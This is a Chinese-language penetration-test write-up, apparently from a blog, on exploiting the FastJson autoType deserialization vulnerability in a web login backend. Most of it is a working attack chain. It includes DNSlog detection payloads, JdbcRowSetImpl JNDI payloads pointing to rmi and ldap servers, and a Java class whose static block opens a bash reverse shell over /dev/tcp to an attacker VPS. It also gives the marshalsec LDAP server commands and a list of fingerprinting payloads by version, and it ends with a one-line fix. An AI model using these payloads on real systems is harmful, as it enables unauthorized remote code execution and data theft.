漏洞介绍
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
前言
以下为有授权测试,未经授权,千万不要触碰法律。
拿到项目后找到了一个后台登录的页面,然后尝试弱口令(yyds)无果
抓包尝试是否存在注入,这里看到是json请求,就尝试去构造或者破坏原有的json请求,从返回的数据包中可以看到有fastjson字样,如果没有报错回显,就使用dnslog进行验证(后面会说到)。
尝试是否存在fastjson反序列化漏洞,构造以下payload看到了版本信息:
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
网上查了一下此版本存在漏洞
使用dnslog验证
payload
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://dnslog.cn/zcc","autoCommit":true}
}
验证成功,说明存在漏洞,这里也可以用到bp的插件,fastjson scan 一键检测,傻瓜操作,github自行搜索一下
反弹shell
使用工具:GitHub - mbechler/marshalsec
vps下载完成后进入目录下进行编译
mvn clean package -DskipTests
(第一次自己进行编译,这个过程中遇到了很多问题,就不一一细说了,如果遇到问题的小伙伴多看报错信息,或者私信我也可以)大佬无视。
编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar
新开一个窗口监听端口
root目录下新建一个test.java文件,里面写入EXP源代码
// bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1 这里的ip是vps,以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;public class test {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
javac编译生成test.class文件
再新建一个窗口,启动http服务
python3 -m http.server 8445
本地访问一下,可以看到生成的class文件
vps启动LDAP服务,监听1389端口,并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx.xx.xx.xx:8445/#test" 1389
返回burp构造payload反弹shell,可以看到已经是root权限
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps:9999/xxx","autoCommit":true}
}
fastjson指纹信息
A.抓包改为POST方式,花括号不闭合,返回包就会出现fastjson字样,不过这个可以屏蔽,就用其他办法B.利用dnslog盲打
1. 利用java.net.Inet[4|6]Address
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
2. 利用java.net.InetSocketAddress
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
3. 利用java.net.URL
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
4. 其他变形
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog”}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
修复建议
升级到官方最新版本!